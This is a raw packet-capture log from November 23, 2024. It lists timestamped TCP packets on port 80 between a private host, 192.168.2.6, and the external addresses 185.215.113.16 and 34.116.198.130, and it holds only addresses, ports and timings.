Nov 23, 2024 13:28:31.619350910 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.619390965 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.619443893 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.620299101 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.620357990 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.620412111 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.620475054 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.621320963 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.621371984 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.621434927 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.621489048 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.622349977 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.622411966 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.622453928 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.622498035 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.623409033 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.623481035 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.623522043 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.623522043 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.624461889 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.624542952 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.624591112 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.625474930 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.625523090 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.625544071 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.625863075 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.626465082 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.626523972 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.626564026 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.626616955 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.627496958 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.627607107 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.627660990 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.628655910 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.628736019 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.628736973 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.628786087 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.629642963 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.629715919 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.629765034 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.630589962 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.630702972 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.630765915 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.631737947 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.631794930 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.631850958 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.632664919 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.632719040 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.632797003 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.633654118 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.633708000 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.633774042 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.633863926 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.634689093 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.634753942 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.634815931 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.635749102 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.635804892 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.635884047 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.636840105 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.636897087 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.636943102 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.636989117 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.637856960 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.638058901 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.638118029 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.638804913 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.638910055 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.638961077 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.639961958 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.639975071 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.640022993 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.640863895 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.640961885 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.641020060 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.641871929 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.641980886 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.642051935 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.642883062 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.642942905 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.642988920 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.643445015 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.643940926 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.643990040 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.644036055 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.644134998 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.644994020 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.645050049 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.645081997 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.645138025 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.645976067 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.646028042 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.646122932 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.646181107 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.647012949 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.647068977 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.647164106 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.647229910 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.648051977 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.648171902 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.648180962 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.648226023 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.648418903 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.648485899 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.648531914 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.649071932 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.649149895 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.649163961 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.649204969 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.649554968 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.649600983 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.649656057 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.650120974 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.650183916 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.650232077 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.651149035 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.651278973 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.651375055 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.652189970 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.652306080 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.652357101 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.652667999 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.652714014 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.652826071 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.653182030 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.653245926 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.653280020 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.653866053 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.654201984 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.654340029 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.654397011 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.655229092 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.655333996 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.655385971 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.655942917 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.655991077 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.656018972 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.656256914 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.656302929 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.656352997 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.656408072 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.657335997 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.657426119 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.657465935 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.657509089 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.658314943 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.658479929 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.658543110 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.658544064 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.659348965 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.659461021 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.659511089 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.660382986 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.660641909 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.661361933 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.661412954 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.661453009 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.661467075 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.661509037 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.662432909 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.662554979 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.662601948 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.663484097 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.663566113 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.663604975 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.663671017 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.664495945 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.664545059 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.664596081 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.664721012 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.665505886 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.665564060 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.665631056 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.665709972 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.666518927 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.666704893 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.688739061 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.688786983 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.688806057 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.694003105 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.694046021 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.694107056 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.695647001 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.695688963 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.695760012 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.698956966 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.699055910 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.744139910 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.744179964 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.744230032 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.796974897 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.797008991 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.797089100 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.798414946 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.816894054 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.816917896 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.816998959 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.817229033 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.817332029 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.817385912 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.818545103 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.818614006 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.818669081 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.818747044 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.818790913 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.818834066 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.818993092 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.819044113 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.819129944 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.820045948 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.820097923 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.820137978 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.820179939 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.820420980 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.820565939 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.820606947 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.821070910 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.821219921 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.821261883 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.822065115 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.822185040 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.822221994 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.823108912 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.823173046 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.823220968 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.823689938 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.823740005 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.823909998 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.824151039 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.824201107 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.824225903 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.824271917 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.824708939 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.824819088 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.824933052 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.825134993 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.825226068 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.825264931 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.825345039 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.826261044 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.826330900 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.826344013 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.826422930 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.827217102 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.827291965 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.827336073 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.827442884 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.828208923 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.828284979 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.828346014 CET	49758	80	192.168.2.6	34.116.198.130
Nov 23, 2024 13:28:31.828351974 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.828421116 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.828454018 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.828509092 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.829269886 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.829329014 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.829368114 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.829874039 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.830297947 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.830357075 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.830401897 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.830938101 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.831275940 CET	80	49758	34.116.198.130	192.168.2.6
Nov 23, 2024 13:28:31.831295013 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.831355095 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.831430912 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.831481934 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.832350969 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.832406998 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.832434893 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.832475901 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.833422899 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.833486080 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.833578110 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.833641052 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.834438086 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.834492922 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.834541082 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.835445881 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.835499048 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.835551023 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.835602999 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.836494923 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.836551905 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.836566925 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.836625099 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.837476969 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.837582111 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.837635994 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.838504076 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.838641882 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.838697910 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.839546919 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.839679003 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.839729071 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.840568066 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.840617895 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.840662003 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.841583967 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.841635942 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.841691017 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.841865063 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.842605114 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.842722893 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.842772961 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.843658924 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.843791008 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.843842030 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.844674110 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.844722986 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.844788074 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.845700026 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.845750093 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.845810890 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.845870972 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.846767902 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.846844912 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.846899986 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.847769022 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.847870111 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.847944021 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.848774910 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.848830938 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.848875046 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.849862099 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.849875927 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.849910021 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.849977016 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.850028992 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.850831032 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.850888014 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.850931883 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.850984097 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.851878881 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.851929903 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.851980925 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.852951050 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.853008032 CET	49777	80	192.168.2.6	185.215.113.16
Nov 23, 2024 13:28:31.853029966 CET	80	49777	185.215.113.16	192.168.2.6
Nov 23, 2024 13:28:31.853872061 CET	49777	80	192.168.2.6	185.215.113.16
